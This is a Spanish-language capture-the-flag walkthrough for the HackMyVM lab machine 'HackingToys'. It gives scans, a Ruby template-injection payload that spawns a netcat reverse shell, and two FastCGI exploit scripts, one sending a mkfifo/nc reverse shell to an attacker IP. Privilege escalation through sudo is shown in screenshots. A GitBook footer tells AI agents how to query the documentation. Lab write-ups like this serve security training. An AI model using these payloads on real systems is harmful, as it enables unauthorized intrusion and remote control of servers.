> For the complete documentation index, see [llms.txt](https://burple.gitbook.io/burple/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://burple.gitbook.io/burple/hackmyvm/medio/hackingtoys.md).

# HackingToys

<figure><img src="/files/ewxrRUbMIeeNpfw0lo00" alt=""><figcaption></figcaption></figure>

## Fase de reconocimiento

Primero realizamos un escaneo de nuestra red para identificar a la maquina vulnerable victima:

```
arp-scan -l
```

<figure><img src="/files/hiu8y0bRRrV9nK7L1EzV" alt=""><figcaption></figcaption></figure>

`nmap -p- -sSVC --min-rate 5000 192.168.8.114 -oG allPorts -vvv`

Ejecutamos un escaneo de nmap para ver ante que puertos abiertos y servicios nos enfrentamos. Y nos encontramos los puertos 22 (Ssh) y 3000 abiertos:

<figure><img src="/files/fqpDxpZa47HuJ5uFwb5e" alt=""><figcaption></figcaption></figure>

Entro (Con https) a la IP a traves del puerto 3000 y me encuentro con una pagina con varios gadgets y una barra con la cual podemos buscar dichos gadgets:

<figure><img src="/files/fRWNFmEkoPkyLcwlRGcu" alt=""><figcaption></figcaption></figure>

## Fase de intrusión

Quizás la barra de busqueda es vulnerable a un SSTI (Server Side Template Injection), vamos a probar a url encodear 7\*7, y si la respuesta es 49, significara que es vulnerable ([Página web](https://www.urlencoder.org/es/)):

<figure><img src="/files/wQtybymPZkZhjG1MzkjE" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/nFNYII8IxaRbjT8S7nNM" alt=""><figcaption></figcaption></figure>

Vamos a lanzar una reverse shell a nuestra maquina victima:

```
<%= system("nc -e /bin/bash 192.168.8.109 4444") %>
```

<figure><img src="/files/Io9DRVcvqncobeFfxo0y" alt=""><figcaption><p>Nos llega exitosamente</p></figcaption></figure>

## Escalada de privilegios

Ahora depuramos la [tty](/burple/cheats/depuracion-de-tty.md) y a continuación ejecutamos ss -altpn para ver a que puertos esta escuchando la maquina victima y podemos apreciar que esta escuchando al puerto 9000, el cual corresponde a [Fast-cgi](https://book.hacktricks.xyz/network-services-pentesting/9000-pentesting-fastcgi):

&#x20;

<figure><img src="/files/comtYH21Jy41sQr6czNp" alt=""><figcaption></figcaption></figure>

&#x20;Para confirmar que en efecto se esta haciendo uso de Fast-cgi podemos ir a la siguiente ruta para confirmarlo:

<figure><img src="/files/pWtIR8PLtUb0kFUc5Jel" alt=""><figcaption></figcaption></figure>

Ahora vamos a explotarlo, creamos el siguiente código extraido de HacksTricks y le damos permisos con chmod +x exploit.sh (En mi caso me he ido a /dev/shm y he creado un index.php vacio, y ese archivo creado es la ruta que he introducido en "FILENAMES"):

```bash
#!/bin/bash

PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
FILENAMES="/var/www/public/index.php" # Exisiting file path

HOST=$1
B64=$(echo "$PAYLOAD"|base64)

for FN in $FILENAMES; do
    OUTPUT=$(mktemp)
    env -i \
      PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
      SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
      cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

    cat $OUTPUT
done
```

Ejecutamos el archivo:

<figure><img src="/files/KPXctZWqwR9b949osLX4" alt=""><figcaption></figcaption></figure>

Ahora que sabes que funciona, vamos a mandarnos una reverse shell a nuestra maquina (Script extraido de [está pagina web](https://exploit-notes.hdks.org/exploit/network/fastcgi-pentesting/)):

```bash
#!/bin/bash

PAYLOAD="<?php echo '<!--'; system('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f'); echo '-->';"
FILENAMES="/dev/shm/index.php" # Exisiting file path

HOST=$1
B64=$(echo "$PAYLOAD"|base64)

for FN in $FILENAMES; do
    OUTPUT=$(mktemp)
    env -i \
      PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
      SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
      cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

    cat $OUTPUT
done

```

<figure><img src="/files/Phx0JAoq9XQKoyLdKW84" alt=""><figcaption><p>Nos llega la solicitud con exito</p></figcaption></figure>

Procedemos a depurar la [tty](/burple/cheats/depuracion-de-tty.md) y ahora si que podemos ejecutar sudo -l y vemos que todo el mundo puede ejecutar rvm\_rails.sh:&#x20;

<figure><img src="/files/iPklKIwr4eU50ntCqJ67" alt=""><figcaption></figcaption></figure>

Vamos a crear un nuevo tipo de rvm\_rails.sh, para poder así entrar a la consola:

<figure><img src="/files/QWJ6y6UTRKEevRUbBSmF" alt=""><figcaption></figcaption></figure>

Entramos corriendo como sudo el archivo y introduciendo como parametro console, y comprobamos que permisos tendria:

<figure><img src="/files/ZWBboGxMoZCaudgu9i8P" alt=""><figcaption></figcaption></figure>

Ahora vamos a correr un bash para ser root y tener aceso total a la maquina:

<figure><img src="/files/d40wIEx8wIx2hmNzbmyu" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://burple.gitbook.io/burple/hackmyvm/medio/hackingtoys.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
